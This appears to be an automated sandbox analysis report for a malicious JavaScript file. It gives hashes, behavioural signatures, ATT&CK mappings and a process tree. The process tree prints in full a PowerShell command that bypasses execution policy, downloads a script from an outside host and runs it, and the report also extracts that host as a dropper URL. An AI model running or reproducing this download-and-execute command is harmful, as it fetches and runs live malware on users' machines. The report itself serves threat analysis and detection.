4dcb7e62f9d14425c0fb7a7cb82325c4e0837c164695c5bdebfb69d8864a873f

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
05-03-2024 02:18

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General

Target

4dcb7e62f9d14425c0fb7a7cb82325c4e0837c164695c5bdebfb69d8864a873f.js
Size

66KB
MD5

b3d048535d380295a2ebba3033c3338c
SHA1

9968f6002c1909124d5cdaea7f276d4bd5d00806
SHA256

4dcb7e62f9d14425c0fb7a7cb82325c4e0837c164695c5bdebfb69d8864a873f
SHA512

697649523541b5c63e1a3ca81bcbda0421deaef7358d0820062b8c6f0f717a540883b4b72ea42338895a67fa15c519552b6d1a8edd65abb90a91835f22cce7fd
SSDEEP

1536:sGk0Gtfxyin8/EgRlKnr7VAUMzR73uhe1KaDyOoCM:sb7yE8/EgRl2VAhB3uhe1TD63

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://compactgrill.hu/care.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2548	powershell.exe
4	2548	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2548	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2548	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2780 wrote to memory of 2548	2780	wscript.exe	28
PID 2780 wrote to memory of 2548	2780	wscript.exe	28
PID 2780 wrote to memory of 2548	2780	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4dcb7e62f9d14425c0fb7a7cb82325c4e0837c164695c5bdebfb69d8864a873f.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2548-4-0x000000001B8B0000-0x000000001BB92000-memory.dmp

Filesize
2.9MB

Download
memory/2548-5-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2548-6-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

Filesize
9.6MB

Download
memory/2548-7-0x0000000002EB0000-0x0000000002F30000-memory.dmp

Filesize
512KB

Download
memory/2548-8-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

Filesize
9.6MB

Download
memory/2548-9-0x0000000002EB0000-0x0000000002F30000-memory.dmp

Filesize
512KB

Download
memory/2548-10-0x0000000002EB0000-0x0000000002F30000-memory.dmp

Filesize
512KB

Download
memory/2548-11-0x0000000002EB0000-0x0000000002F30000-memory.dmp

Filesize
512KB

Download
memory/2548-12-0x0000000002EB0000-0x0000000002F30000-memory.dmp

Filesize
512KB

Download
memory/2548-13-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

Filesize
9.6MB

Download